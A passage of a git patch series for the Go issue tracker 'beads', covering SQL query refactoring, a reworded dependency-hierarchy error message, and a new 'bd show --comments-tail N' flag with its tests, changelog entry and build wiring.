*testing.T) { - // A template with one %s is the plain Sprintf it always was: the args pass - // through untouched rather than being repeated. + // A template with one %s and no bound ids is the plain Sprintf it always + // was: the args pass through untouched rather than being repeated. placeholders, args := buildSQLInClause([]string{"issue-1", "issue-2"}) - stmt, stmtArgs := expandBatchTemplate("SELECT id FROM issues WHERE id IN (%s)", placeholders, args) + stmt, stmtArgs, err := expandBatchTemplate( + "SELECT id FROM issues WHERE id IN (%s)", placeholders, args, nil) + if err != nil { + t.Fatalf("expandBatchTemplate: %v", err) + } if want := "SELECT id FROM issues WHERE id IN (?,?)"; stmt != want { t.Errorf("stmt = %q, want %q", stmt, want) @@ -98,10 +176,10 @@ func TestExpandBatchTemplateSingleOccurrenceDegrades(t *testing.T) { // should-be-blocked union's four joined legs: without them the Dolt // sql-server planner intermittently drives the issues legs from an index // scan of every open issue, 6-10 s per statement over an import's -// uncommitted working set (see shouldBeBlockedIDsUnionScopedSQL). The -// unscoped union (full repair, doctor count) keeps the planner's choice. +// uncommitted working set (see shouldBeBlockedIDsUnionScopedPrecomputedSQL). +// The unscoped union (full repair, doctor count) keeps the planner's choice. func TestBatchedTemplatesPinLookupJoins(t *testing.T) { - for name, tmpl := range batchedTemplates() { + for name, tmpl := range batchedTemplates(explainedFixture()) { for _, hint := range []string{"JOIN_ORDER(d, t) LOOKUP_JOIN(d, t)", "JOIN_ORDER(d, p) LOOKUP_JOIN(d, p)"} { if got := strings.Count(tmpl, hint); got != 2 { t.Errorf("%s carries %q %d times, want 2 (one per joined issues/wisps leg)", name, hint, got) @@ -109,7 +187,7 @@ func TestBatchedTemplatesPinLookupJoins(t *testing.T) { } } for _, depTable := range []string{"dependencies", "wisp_dependencies"} { - union := shouldBeBlockedIDsUnionSQL(depTable) + union := shouldBeBlockedIDsUnionPrecomputedSQL(depTable, explainedFixture()) if strings.Contains(union, "LOOKUP_JOIN(d, t)") || strings.Contains(union, "LOOKUP_JOIN(d, p)") { t.Errorf("unscoped union over %s should not pin its legs' joins", depTable) } diff --git a/internal/storage/issueops/dependencies.go b/internal/storage/issueops/dependencies.go index f4febfbd8..d6acfe91f 100644 --- a/internal/storage/issueops/dependencies.go +++ b/internal/storage/issueops/dependencies.go @@ -593,12 +593,6 @@ func cycleReachabilityQuery(depTables []string) string { // The reachable set is the same as the single-member walk over the UNION: // UNION distinct merges what every member produces per step. func reachabilityQuery(cte string, depTables []string, typeFilter string) string { - members := make([]string, 0, len(depTables)) - for _, t := range depTables { - members = append(members, fmt.Sprintf( - "SELECT /*+ JOIN_ORDER(r, d) LOOKUP_JOIN(r, d) */ CASE WHEN %s THEN %s END FROM %s r JOIN %s d ON d.issue_id = r.node", - typeFilter, depTargetExpr("d"), cte, t)) - } return fmt.Sprintf(` WITH RECURSIVE %s(node) AS ( SELECT ? @@ -606,7 +600,22 @@ func reachabilityQuery(cte string, depTables []string, typeFilter string) string %s ) SELECT COUNT(*) FROM %s WHERE node = ? - `, cte, strings.Join(members, "\n\t\t\tUNION\n\t\t\t"), cte) + `, cte, reachabilityMembers(cte, depTables, typeFilter), cte) +} + +// reachabilityMembers is reachabilityQuery's recursive members, one per +// dependency table and joined by UNION, for any walk over the same edges +// (ancestorChainInTx in blocked_state.go shares them). A NULL node, which is +// what a row of another type projects, is the caller's to filter out of a +// walk's result. +func reachabilityMembers(cte string, depTables []string, typeFilter string) string { + members := make([]string, 0, len(depTables)) + for _, t := range depTables { + members = append(members, fmt.Sprintf( + "SELECT /*+ JOIN_ORDER(r, d) LOOKUP_JOIN(r, d) */ CASE WHEN %s THEN %s END FROM %s r JOIN %s d ON d.issue_id = r.node", + typeFilter, depTargetExpr("d"), cte, t)) + } + return strings.Join(members, "\n\t\t\tUNION\n\t\t\t") } func cycleDetectionTables() []string { diff --git a/internal/storage/issueops/reopen_test.go b/internal/storage/issueops/reopen_test.go index 47cd8610e..4996f1871 100644 --- a/internal/storage/issueops/reopen_test.go +++ b/internal/storage/issueops/reopen_test.go @@ -57,6 +57,10 @@ func TestReopenIssueInTxRetriesConditionalUpdateWhenLatestStatusIsCustomDone(t * mock.ExpectQuery(`(?s)SELECT id FROM events`). WillReturnRows(sqlmock.NewRows([]string{"id"})) mock.ExpectExec(`(?s)INSERT INTO events`).WillReturnResult(sqlmock.NewResult(0, 1)) + // The batched recompute's parent-kind guard: no parent-child row in the + // batch, so neither exogeneity read runs before the mark and unmark. + mock.ExpectQuery(`(?s)SELECT COUNT\(d\.depends_on_issue_id\)`). + WillReturnRows(sqlmock.NewRows([]string{"i", "w"}).AddRow(0, 0)) mock.ExpectExec(`(?s)UPDATE issues i SET`).WillReturnResult(sqlmock.NewResult(0, 0)) mock.ExpectExec(`(?s)UPDATE issues i SET`).WillReturnResult(sqlmock.NewResult(0, 0)) mock.ExpectRollback() diff --git a/issueops/errors.go b/issueops/errors.go index 7e0ef5bcb..7db6159ed 100644 --- a/issueops/errors.go +++ b/issueops/errors.go @@ -399,19 +399,29 @@ func (e *DependencyEndpointNotFoundError) Error() string { func (e *DependencyEndpointNotFoundError) Unwrap() error { return e.Err } // DependencyHierarchyConflictError is returned when a blocking dependency -// would gate an issue on one of its own ancestors or descendants. Either shape -// can never clear under the parent-child close/blocking semantics. +// would gate an issue on one of its own ancestors or descendants. Neither +// shape is how the hierarchy expresses "wait for what is under me". type DependencyHierarchyConflictError struct { IssueID string BlockerID string BlockerIsAncestor bool } +// Error states the DESCENDANT refusal as a modeling refusal, not a +// consequence of the cascade. +// +// It used to read "blocked status cascades to descendants, so would +// inherit the block and never close". That was true until +// gastownhall/beads#6506: a parent-child edge now propagates only the parent's +// EXOGENOUS blockedness, so a parent that blocks on something in its own +// subtree no longer darkens it, and the sentence described a deadlock that no +// longer happens. The refusal itself stands — a blocks edge is not the way to +// say "I close after my children" — so the reason has to say what is. func (e *DependencyHierarchyConflictError) Error() string { if e.BlockerIsAncestor { return fmt.Sprintf("%s cannot be blocked by its ancestor %s: %s cannot close until its descendants finish, so the gate would never clear", e.IssueID, e.BlockerID, e.BlockerID) } - return fmt.Sprintf("%s cannot be blocked by its descendant %s: blocked status cascades to descendants, so %s would inherit the block and never close", - e.IssueID, e.BlockerID, e.BlockerID) + return fmt.Sprintf("%s cannot be blocked by its descendant %s: waiting on your own subtree is a close gate, not a blocks edge — use a waits-for gate over the children (bd gate)", + e.IssueID, e.BlockerID) } diff --git a/scripts/check-testing-short.sh b/scripts/check-testing-short.sh index 62d6944a4..86f3095cd 100755 --- a/scripts/check-testing-short.sh +++ b/scripts/check-testing-short.sh @@ -11,6 +11,7 @@ internal/testutil/fixtures/fixtures_test.go::TestXLargeDolt internal/testutil/fixtures/fixtures_test.go::TestLargeFromJSONL internal/storage/dolt/concurrent_test.go::TestHighContentionStress internal/storage/dolt/concurrent_test.go::TestConcurrentWorkQueueDrain +internal/storage/dolt/blocked_scale_bench_test.go::TestBlockedStateScaleTiming internal/storage/dolt/lease_test.go::TestConcurrentHeartbeatReclaimClose internal/storage/uow/lostupdate_dolt_test.go::TestUOW_ConcurrentMergeOps_NoLostUpdate internal/workapi/sweep_test.go::TestCandidateIDMatcherLargeFixture From 5d2c01bd9a10aa1bab362612364a31cf670a3f7d Mon Sep 17 00:00:00 2001 From: Bee Date: Thu, 8 Oct 2026 09:00:31 +0000 Subject: [PATCH 060/213] feat(show): --comments-tail N renders only the last N comments in text mode (#6618) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat(show): --comments-tail N renders only the last N comments in text mode Real-world beads accumulate 600+ comments and bd show renders ~800 KB of text for them. --comments-tail N caps the text-mode COMMENTS section to the last N comments, preceded by one elision line naming how many older ones were hidden (singular/plural handled). This is render-only: no data is fetched differently, and the comment count in any header still reflects the total. The flag absent or set to 0 is byte-identical to today's output (pinned by a test comparing against an independent reproduction of the pre-flag render). A negative value is a usage error, matching how --max-rows already rejects negative values. --json is untouched; --include-comments still streams every comment there, documented in the flag's help text. Co-Authored-By: Claude Fable 5.1 * fix(show): --comments-tail reaches --watch; drop two vacuous tests Plumb --comments-tail through watchIssue / displayShowIssue / displayShowIssueReturn to a new renderWatchComments (its own function so tests can exercise the exact call without a real database), replacing the third inline COMMENTS copy that ignored the flag. watchCommentFormatTime preserves the hardcoded UTC formatting byte for byte; --local-time still isn't threaded to --watch, unchanged by this commit. Also drop TestPrintComments_AbsentMatchesZero and TestPrintComments_CommentCountHeaderUnaffected (vacuous — the first called printComments(x, 0) against itself, the second asserted len() on a by-value slice and bd show text mode prints no comment count); folded the absent-flag case into the legacy-comparison test instead. Co-Authored-By: Claude Fable 5.1 * ci: list show_comments_tail_test.go in cmd/bd BUILD.bazel Bazel equivalence requires every test file in the go_test srcs; this is the line CI's bazel-sync patch printed. Co-Authored-By: Claude Fable 5.1 * ci: rerun after #7338 re-pinned the RBE worker-env (no code change) Co-Authored-By: Claude Fable 5.1 --------- Co-authored-by: Claude Fable 5.1 Co-authored-by: Eddie the Engineer --- CHANGELOG.md | 9 + cmd/bd/BUILD.bazel | 1 + cmd/bd/show.go | 19 +- cmd/bd/show_comments_tail_test.go | 316 ++++++++++++++++++++++++++++++ cmd/bd/show_display.go | 47 +++-- cmd/bd/show_format.go | 52 +++++ cmd/bd/show_proxied_server.go | 17 +- 7 files changed, 424 insertions(+), 37 deletions(-) create mode 100644 cmd/bd/show_comments_tail_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 0fe2dea22..4c6167e6d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1205,6 +1205,15 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 open, including the library API, `bd doctor --fix` and `bd bootstrap`, keeps the existing message. +- **`bd show --comments-tail N`** renders only the last N comments in text + output (including under `--watch`) + ([#6618](https://github.com/gastownhall/beads/pull/6618)), preceded by one + elision line naming how many older ones were hidden. A render-only cap for + fat, append-only beads whose full comment history is hundreds of KB — + description and metadata are unchanged, and omitting the flag (or passing + `0`) is byte-identical to today's output. JSON output is untouched; + `--include-comments` still streams every comment there. + ### Changed - **The managed shared Dolt server now opens its configured remotesapi diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index b3bfafcc1..043175545 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1118,6 +1118,7 @@ go_test( "shared_store_migrate_gate_test.go", "ship_embedded_test.go", "show_brief_deps_test.go", + "show_comments_tail_test.go", "show_current_test.go", "show_details_json_test.go", "show_embedded_test.go", diff --git a/cmd/bd/show.go b/cmd/bd/show.go index 09079463f..509149aa0 100644 --- a/cmd/bd/show.go +++ b/cmd/bd/show.go @@ -59,6 +59,10 @@ var showCmd = &cobra.Command{ includeDepends, _ := cmd.Flags().GetBool("include-dependents") includeComments, _ := cmd.Flags().GetBool("include-comments") briefDeps, _ := cmd.Flags().GetBool("brief-deps") + commentsTail, _ := cmd.Flags().GetInt("comments-tail") + if err := validateCommentsTail(commentsTail); err != nil { + return err + } ctx := rootCtx // Helper to format timestamp based on --local-time flag @@ -99,7 +103,7 @@ var showCmd = &cobra.Command{ if len(args) != 1 { return HandleErrorRespectJSON("watch mode requires exactly one issue ID") } - return watchIssue(ctx, args[0]) + return watchIssue(ctx, args[0], commentsTail) } if showThread { @@ -263,17 +267,7 @@ var showCmd = &cobra.Command{ // Show comments comments, _ := issueStore.GetIssueComments(ctx, issue.ID) // Best effort: show issue even if comments unavailable - if len(comments) > 0 { - fmt.Printf("\n%s\n", ui.RenderBold("COMMENTS")) - for _, comment := range comments { - fmt.Printf(" %s %s\n", ui.RenderMuted(formatTime(comment.CreatedAt)), comment.Author) - rendered := uimd.RenderMarkdown(comment.Text) - // TrimRight removes trailing newlines that Glamour adds, preventing extra blank lines - for _, line := range strings.Split(strings.TrimRight(rendered, "\n"), "\n") { - fmt.Printf(" %s\n", line) - } - } - } + printComments(comments, commentsTail, formatTime, issue.ID) // Long mode: show all extended fields if longMode { @@ -325,6 +319,7 @@ func init() { "Without it the comments field is absent entirely, not truncated: an issue with comments carries "+ "comment_count and comments_omitted=true, so check those before reading an absent comments field as none.") showCmd.Flags().Bool("brief-deps", false, "Reduce each dependency to its identity fields in JSON output (--json only; drops description, design, notes and acceptance criteria)") + showCmd.Flags().Int("comments-tail", 0, "Render only the last N comments in text output, preceded by one elision line naming how many older ones were hidden (text output only; 0, the default, renders every comment unchanged; N must be >= 0)") showCmd.ValidArgsFunction = issueIDCompletion rootCmd.AddCommand(showCmd) } diff --git a/cmd/bd/show_comments_tail_test.go b/cmd/bd/show_comments_tail_test.go new file mode 100644 index 000000000..3356ecef2 --- /dev/null +++ b/cmd/bd/show_comments_tail_test.go @@ -0,0 +1,316 @@ +package main + +import ( + "fmt" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/internal/ui" + "github.com/steveyegge/beads/internal/uimd" +) + +// testCommentsTailFormatTime is a fixed, deterministic formatTime for these +// tests — the real callers build one closed over --local-time, but the +// render function under test doesn't care which one it gets. +func testCommentsTailFormatTime(t time.Time) string { + return t.UTC().Format("2006-01-02 15:04") +} + +// makeTailTestComments builds n comments with distinguishable Author/Text +// bodies ("author-0"/"body-0" .. "author-(n-1)"/"body-(n-1)") in ascending +// CreatedAt order, matching GetIssueComments' oldest-first contract — the +// same order both show routes hand to printComments today. +func makeTailTestComments(n int) []*types.Comment { + base := time.Date(2026, 1, 1, 0, 0, 0, 0, time.UTC) + comments := make([]*types.Comment, n) + for i := 0; i < n; i++ { + comments[i] = &types.Comment{ + ID: fmt.Sprintf("c-%d", i), + Author: fmt.Sprintf("author-%d", i), + Text: fmt.Sprintf("body-%d", i), + CreatedAt: base.Add(time.Duration(i) * time.Minute), + } + } + return comments +} + +// legacyRenderComments reproduces, verbatim, the COMMENTS block that lived +// inline in show.go / show_proxied_server.go before --comments-tail +// existed. It gives the "byte-identical to today's output" invariant an +// independent baseline to compare against, rather than comparing +// printComments against itself (which could hide a shared bug in both the +// capped and uncapped branches). +func legacyRenderComments(comments []*types.Comment, formatTime func(time.Time) string) { + if len(comments) > 0 { + fmt.Printf("\n%s\n", ui.RenderBold("COMMENTS")) + for _, comment := range comments { + fmt.Printf(" %s %s\n", ui.RenderMuted(formatTime(comment.CreatedAt)), comment.Author) + rendered := uimd.RenderMarkdown(comment.Text) + for _, line := range strings.Split(strings.TrimRight(rendered, "\n"), "\n") { + fmt.Printf(" %s\n", line) + } + } + } +} + +// TestShowCommentsTailFlagRegistration guards the wiring for --comments-tail: +// the flag must exist, default to 0 so a caller that never passes it gets +// today's uncapped output, and be read by the proxied route too — the direct +// and proxied routes gather flags separately (see TestShowBriefDepsFlag), +// so a flag added to one does not reach the other by implication. +func TestShowCommentsTailFlagRegistration(t *testing.T) { + flag := showCmd.Flags().Lookup("comments-tail") + if flag == nil { + t.Fatal("comments-tail flag is not registered on showCmd") + } + if flag.DefValue != "0" { + t.Errorf("comments-tail default = %q, want \"0\": the default output must not change", flag.DefValue) + } + + t.Run("proxied route defaults to 0", func(t *testing.T) { + if in := gatherShowProxiedInput(showCmd, []string{"be-abc"}); in.commentsTail != 0 { + t.Errorf("commentsTail defaulted to %d, want 0", in.commentsTail) + } + }) + + t.Run("proxied route reads it", func(t *testing.T) { + if err := showCmd.Flags().Set("comments-tail", "3"); err != nil { + t.Fatalf("set comments-tail=3: %v", err) + } + t.Cleanup(func() { + _ = showCmd.Flags().Set("comments-tail", "0") + showCmd.Flags().Lookup("comments-tail").Changed = false + }) + if in := gatherShowProxiedInput(showCmd, []string{"be-abc"}); in.commentsTail != 3 { + t.Errorf("gatherShowProxiedInput did not carry comments-tail to the proxied request, got %d", in.commentsTail) + } + }) +} + +// TestValidateCommentsTail pins the negative-value usage error both show +// routes share, following how --max-rows already rejects a negative value +// (resolveMaxRows in max_rows.go). +func TestValidateCommentsTail(t *testing.T) { + if err := validateCommentsTail(0); err != nil { + t.Errorf("0 should be valid, got %v", err) + } + if err := validateCommentsTail(5); err != nil { + t.Errorf("a positive value should be valid, got %v", err) + } + + var gotErr error + stderr := captureStderr(t, func() { + gotErr = validateCommentsTail(-1) + }) + if gotErr == nil { + t.Fatal("expected an error for a negative --comments-tail") + } + if !strings.Contains(stderr, "--comments-tail") || !strings.Contains(stderr, "non-negative") { + t.Errorf("expected stderr to explain the flag constraint, got: %s", stderr) + } +} + +// TestPrintComments_TailSmallerThanCount is scenario 1: a real cap hides the +// older comments behind exactly one elision line naming how many, and +// renders only the newest N bodies, in their existing order and format. +func TestPrintComments_TailSmallerThanCount(t *testing.T) { + comments := makeTailTestComments(5) + out := captureStdout(t, func() error { + printComments(comments, 2, testCommentsTailFormatTime, "ts-1") + return nil + }) + + for i := 0; i < 3; i++ { + if strings.Contains(out, fmt.Sprintf("body-%d", i)) { + t.Errorf("expected body-%d to be hidden by the cap, found it in:\n%s", i, out) + } + } + for i := 3; i < 5; i++ { + if !strings.Contains(out, fmt.Sprintf("body-%d", i)) { + t.Errorf("expected body-%d (one of the last 2) to render, missing from:\n%s", i, out) + } + } + + if n := strings.Count(out, "older comment"); n != 1 { + t.Errorf("expected exactly one elision line, found %d in:\n%s", n, out) + } + wantLine := "… 3 older comments hidden — bd show ts-1 for the full record" + if !strings.Contains(out, wantLine) { + t.Errorf("expected elision line %q, got:\n%s", wantLine, out) + } +} + +// TestPrintComments_TailAtOrAboveCount is scenario 2: a cap that does not +// need to hide anything (tailN >= len(comments)) must render byte-identical +// output to the uncapped (tailN == 0) path — no elision line, every comment +// present. +func TestPrintComments_TailAtOrAboveCount(t *testing.T) { + comments := makeTailTestComments(5) + + uncapped := captureStdout(t, func() error { + printComments(comments, 0, testCommentsTailFormatTime, "ts-1") + return nil + }) + atCount := captureStdout(t, func() error { + printComments(comments, 5, testCommentsTailFormatTime, "ts-1") + return nil + }) + aboveCount := captureStdout(t, func() error { + printComments(comments, 100, testCommentsTailFormatTime, "ts-1") + return nil + }) + + if uncapped != atCount { + t.Errorf("tailN == len(comments) diverged from tailN == 0:\nuncapped:\n%s\natCount:\n%s", uncapped, atCount) + } + if uncapped != aboveCount { + t.Errorf("tailN > len(comments) diverged from tailN == 0:\nuncapped:\n%s\naboveCount:\n%s", uncapped, aboveCount) + } + if strings.Contains(uncapped, "older comment") { + t.Errorf("expected no elision line when nothing is hidden, got:\n%s", uncapped) + } +} + +// TestPrintComments_ByteIdenticalToLegacyRender is the strongest form of "the +// flag absent or 0 must not change output": it compares printComments' +// uncapped path against an independent reproduction of the exact code that +// rendered the COMMENTS section before --comments-tail existed, so the two +// can't share a bug that a self-comparison (capped vs. uncapped both going +// through printComments) would hide. Calling printComments(x, 0) and +// comparing it to another printComments(x, 0) call would be vacuous — it +// can't fail — so every subtest here compares against legacyRenderComments +// instead. +func TestPrintComments_ByteIdenticalToLegacyRender(t *testing.T) { + comments := makeTailTestComments(7) + + legacy := captureStdout(t, func() error { + legacyRenderComments(comments, testCommentsTailFormatTime) + return nil + }) + current := captureStdout(t, func() error { + printComments(comments, 0, testCommentsTailFormatTime, "ts-1") + return nil + }) + if legacy != current { + t.Errorf("printComments(tailN=0) diverged from the pre-flag render:\nlegacy:\n%s\ncurrent:\n%s", legacy, current) + } + + // scenario 3: the flag absent — which resolves to Go's zero value for an + // unset int flag — must render identically to the pre-flag block, not + // merely to another explicit-0 call. + t.Run("flag absent (zero value)", func(t *testing.T) { + var absentTailN int // an unset --comments-tail flag GetInt()s to this + absent := captureStdout(t, func() error { + printComments(comments, absentTailN, testCommentsTailFormatTime, "ts-1") + return nil + }) + if absent != legacy { + t.Errorf("flag-absent output diverged from the pre-flag render:\nabsent:\n%s\nlegacy:\n%s", absent, legacy) + } + }) + + t.Run("empty comments", func(t *testing.T) { + legacyEmpty := captureStdout(t, func() error { + legacyRenderComments(nil, testCommentsTailFormatTime) + return nil + }) + currentEmpty := captureStdout(t, func() error { + printComments(nil, 0, testCommentsTailFormatTime, "ts-1") + return nil + }) + if legacyEmpty != currentEmpty || legacyEmpty != "" { + t.Errorf("expected empty output for no comments, got legacy=%q current=%q", legacyEmpty, currentEmpty) + } + }) +} + +// TestPrintComments_SingularWording is scenario 5: exactly one older comment +// hidden gets "comment", not "comments". +func TestPrintComments_SingularWording(t *testing.T) { + comments := makeTailTestComments(3) + out := captureStdout(t, func() error { + printComments(comments, 2, testCommentsTailFormatTime, "ts-1") + return nil + }) + wantLine := "… 1 older comment hidden — bd show ts-1 for the full record" + if !strings.Contains(out, wantLine) { + t.Errorf("expected singular elision line %q, got:\n%s", wantLine, out) + } + if strings.Contains(out, "1 older comments") { + t.Errorf("expected singular \"comment\", found plural in:\n%s", out) + } +} + +// legacyWatchRenderComments reproduces, verbatim, the COMMENTS block that +// lived inline in show_display.go's displayShowIssueReturn before +// --comments-tail existed. Unlike legacyRenderComments above (which the +// direct and --proxied-server routes shared), the watch path hardcoded UTC +// unconditionally rather than taking a formatTime parameter — it never +// threaded --local-time — so this is its own, separate baseline. +func legacyWatchRenderComments(comments []*types.Comment) { + if len(comments) > 0 { + fmt.Printf("\n%s\n", ui.RenderBold("COMMENTS")) + for _, comment := range comments { + fmt.Printf(" %s %s\n", ui.RenderMuted(comment.CreatedAt.UTC().Format("2006-01-02 15:04")), comment.Author) + rendered := uimd.RenderMarkdown(comment.Text) + for _, line := range strings.Split(strings.TrimRight(rendered, "\n"), "\n") { + fmt.Printf(" %s\n", line) + } + } + } +} + +// TestRenderWatchComments_TailAbsentMatchesLegacy pins that the watch path's +// own render call (renderWatchComments, the exact function +// displayShowIssueReturn calls — see show_display.go) reproduces the old +// watch block byte for byte when --comments-tail is absent (tailN == 0), +// including its hardcoded UTC formatting. This is the "watch mode ignores +// the flag" regression guard: it exercises the real wiring, not a +// hand-picked formatTime, so a future edit that stops threading +// --comments-tail to the watch render — or that starts threading +// --local-time in a way that changes the UTC formatting — would surface +// here. +func TestRenderWatchComments_TailAbsentMatchesLegacy(t *testing.T) { + comments := makeTailTestComments(4) + + legacy := captureStdout(t, func() error { + legacyWatchRenderComments(comments) + return nil + }) + current := captureStdout(t, func() error { + renderWatchComments(comments, 0, "ts-1") + return nil + }) + if legacy != current { + t.Errorf("renderWatchComments(tailN=0) diverged from the pre-flag watch block:\nlegacy:\n%s\ncurrent:\n%s", legacy, current) + } +} + +// TestRenderWatchComments_HonoursTail is the watch-path form of scenario 1: +// --comments-tail must cap the watch render the same way it caps the other +// two show routes, through the actual renderWatchComments call +// displayShowIssueReturn makes. +func TestRenderWatchComments_HonoursTail(t *testing.T) { + comments := makeTailTestComments(5) + out := captureStdout(t, func() error { + renderWatchComments(comments, 2, "ts-1") + return nil + }) + + for i := 0; i < 3; i++ { + if strings.Contains(out, fmt.Sprintf("body-%d", i)) { + t.Errorf("expected body-%d to be hidden by the cap in watch output, found it in:\n%s", i, out) + } + } + for i := 3; i < 5; i++ { + if !strings.Contains(out, fmt.Sprintf("body-%d", i)) { + t.Errorf("expected body-%d to render in watch output, missing from:\n%s", i, out) + } + } + wantLine := "… 3 older comments hidden — bd show ts-1 for the full record" + if !strings.Contains(out, wantLine) { + t.Errorf("expected elision line %q in watch output, got:\n%s", wantLine, out) + } +} diff --git a/cmd/bd/show_display.go b/cmd/bd/show_display.go index fcb21275c..cbd392787 100644 --- a/cmd/bd/show_display.go +++ b/cmd/bd/show_display.go @@ -15,6 +15,26 @@ import ( "github.com/steveyegge/beads/internal/uimd" ) +// watchCommentFormatTime is the watch path's comment timestamp formatter. +// It reproduces, byte for byte, what the inline COMMENTS block here always +// did before printComments existed: UTC, unconditionally — this path does +// not read --local-time today (a pre-existing gap from the non-watch +// render), and this change does not alter that. +func watchCommentFormatTime(t time.Time) string { + return t.UTC().Format("2006-01-02 15:04") +} + +// renderWatchComments prints the watch path's COMMENTS section, applying the +// same --comments-tail cap as the other two show routes, always through +// watchCommentFormatTime. Split out from displayShowIssueReturn as its own +// function so tests can exercise the watch path's exact render call — +// commentsTail plumbed all the way to printComments — without going through +// displayShowIssueReturn itself, which resolves the issue via a live store +// and so needs a real database. +func renderWatchComments(comments []*types.Comment, commentsTail int, issueID string) { + printComments(comments, commentsTail, watchCommentFormatTime, issueID) +} + // singleIssueSnapshot builds a comparable string from a single issue's state // so we can detect when the issue has changed between poll cycles. func singleIssueSnapshot(issue *types.Issue) string { @@ -38,10 +58,12 @@ const showWatchPollInterval = 2 * time.Second // watchIssue polls for changes to an issue and auto-refreshes the display (GH#654). // Uses polling instead of fsnotify because Dolt stores data in a server-side -// database, not files — file watchers never fire. -func watchIssue(ctx context.Context, issueID string) error { +// database, not files — file watchers never fire. commentsTail is the +// --comments-tail render cap, threaded through to every render this loop +// does (initial and on each refresh); see printComments. +func watchIssue(ctx context.Context, issueID string, commentsTail int) error { return runIssueWatch(ctx, issueWatchSource{ - render: func(ctx context.Context) *types.Issue { return displayShowIssueReturn(ctx, issueID) }, + render: func(ctx context.Context) *types.Issue { return displayShowIssueReturn(ctx, issueID, commentsTail) }, fetch: func(ctx context.Context) (*types.Issue, error) { return fetchIssue(ctx, issueID) }, }) } @@ -118,7 +140,8 @@ func fetchIssue(ctx context.Context, issueID string) (*types.Issue, error) { // displayShowIssueReturn displays a single issue and returns it for snapshot use. // Matches the full bd show output: header, metadata, content, labels, deps, comments. -func displayShowIssueReturn(ctx context.Context, issueID string) *types.Issue { +// commentsTail is the --comments-tail render cap; see printComments. +func displayShowIssueReturn(ctx context.Context, issueID string, commentsTail int) *types.Issue { result, err := resolveAndGetIssueWithRouting(ctx, store, issueID) if result != nil { defer result.Close() @@ -185,18 +208,12 @@ func displayShowIssueReturn(ctx context.Context, issueID string) *types.Issue { // Related (bidirectional, deduplicated) printRelatedSection(relatedSeen) - // Comments + // Comments. watchCommentFormatTime hardcodes UTC — this path does not + // thread --local-time today (a pre-existing discrepancy from the + // non-watch render, left alone here; only the --comments-tail cap is + // wired through). comments, _ := issueStore.GetIssueComments(ctx, issue.ID) - if len(comments) > 0 { - fmt.Printf("\n%s\n", ui.RenderBold("COMMENTS")) - for _, comment := range comments { - fmt.Printf(" %s %s\n", ui.RenderMuted(comment.CreatedAt.UTC().Format("2006-01-02 15:04")), comment.Author) - rendered := uimd.RenderMarkdown(comment.Text) - for _, line := range strings.Split(strings.TrimRight(rendered, "\n"), "\n") { - fmt.Printf(" %s\n", line) - } - } - } + renderWatchComments(comments, commentsTail, issue.ID) fmt.Println() return issue diff --git a/cmd/bd/show_format.go b/cmd/bd/show_format.go index 46fff61a0..28504d7f9 100644 --- a/cmd/bd/show_format.go +++ b/cmd/bd/show_format.go @@ -314,6 +314,58 @@ func printEpicChildProgress(children []*types.IssueWithDependencyMetadata) { fmt.Printf(" %s %d/%d complete (%d%%)%s\n", icon, closed, len(children), pct, eligible) } +// validateCommentsTail rejects a negative --comments-tail value the same way +// on both show routes (direct and --proxied-server): a negative render cap +// has no meaning, so it is a usage error rather than a silently-clamped +// default, matching how resolveMaxRows (max_rows.go) rejects a negative +// --max-rows. +func validateCommentsTail(n int) error { + if n < 0 { + return HandleErrorRespectJSON("--comments-tail must be non-negative; got %d", n) + } + return nil +} + +// printComments prints the COMMENTS section of bd show's text-mode output: +// the bold heading, then one block per comment (muted timestamp + author, +// rendered markdown body). Both show routes (direct and --proxied-server) +// call this so the render stays identical between them. +// +// tailN is the --comments-tail cap: <= 0 or >= len(comments) renders every +// comment with no elision line, byte-identical to the output before the flag +// existed (the flag's off state MUST be indistinguishable from its absence). +// A real cap — 0 < tailN < len(comments) — hides the older comments behind +// exactly one muted elision line naming how many were hidden (singular for +// one), then renders only the last tailN in their existing order and format. +// issueID feeds the elision line's "bd show " pointer at the full +// record. +func printComments(comments []*types.Comment, tailN int, formatTime func(time.Time) string, issueID string) { + if len(comments) == 0 { + return + } + fmt.Printf("\n%s\n", ui.RenderBold("COMMENTS")) + + start := 0 + if tailN > 0 && tailN < len(comments) { + hidden := len(comments) - tailN + start = hidden + noun := "comments" + if hidden == 1 { + noun = "comment" + } + fmt.Printf(" %s\n", ui.RenderMuted(fmt.Sprintf("… %d older %s hidden — bd show %s for the full record", hidden, noun, issueID))) + } + + for _, comment := range comments[start:] { + fmt.Printf(" %s %s\n", ui.RenderMuted(formatTime(comment.CreatedAt)), comment.Author) + rendered := uimd.RenderMarkdown(comment.Text) + // TrimRight removes trailing newlines that Glamour adds, preventing extra blank lines + for _, line := range strings.Split(strings.TrimRight(rendered, "\n"), "\n") { + fmt.Printf(" %s\n", line) + } + } +} + // formatSimpleDependencyLine formats a dependency without metadata (fallback) // Closed items get entire row muted - the work is done, no need for attention func formatSimpleDependencyLine(prefix string, dep *types.Issue) string { diff --git a/cmd/bd/show_proxied_server.go b/cmd/bd/show_proxied_server.go index 7d66ce7c5..7aa739a38 100644 --- a/cmd/bd/show_proxied_server.go +++ b/cmd/bd/show_proxied_server.go @@ -36,6 +36,7 @@ type showProxiedInput struct { includeDepends bool briefDeps bool includeComments bool + commentsTail int } func gatherShowProxiedInput(cmd *cobra.Command, args []string) *showProxiedInput { @@ -52,6 +53,7 @@ func gatherShowProxiedInput(cmd *cobra.Command, args []string) *showProxiedInput in.includeDepends, _ = cmd.Flags().GetBool("include-dependents") in.briefDeps, _ = cmd.Flags().GetBool("brief-deps") in.includeComments, _ = cmd.Flags().GetBool("include-comments") + in.commentsTail, _ = cmd.Flags().GetInt("comments-tail") idFlags, _ := cmd.Flags().GetStringArray("id") in.ids = append(in.ids, args...) @@ -94,6 +96,10 @@ func proxiedIssueReader() (issueops.Reader, error) { func runShowProxiedServer(cmd *cobra.Command, ctx context.Context, args []string) error { in := gatherShowProxiedInput(cmd, args) + if err := validateCommentsTail(in.commentsTail); err != nil { + return err + } + uw, err := 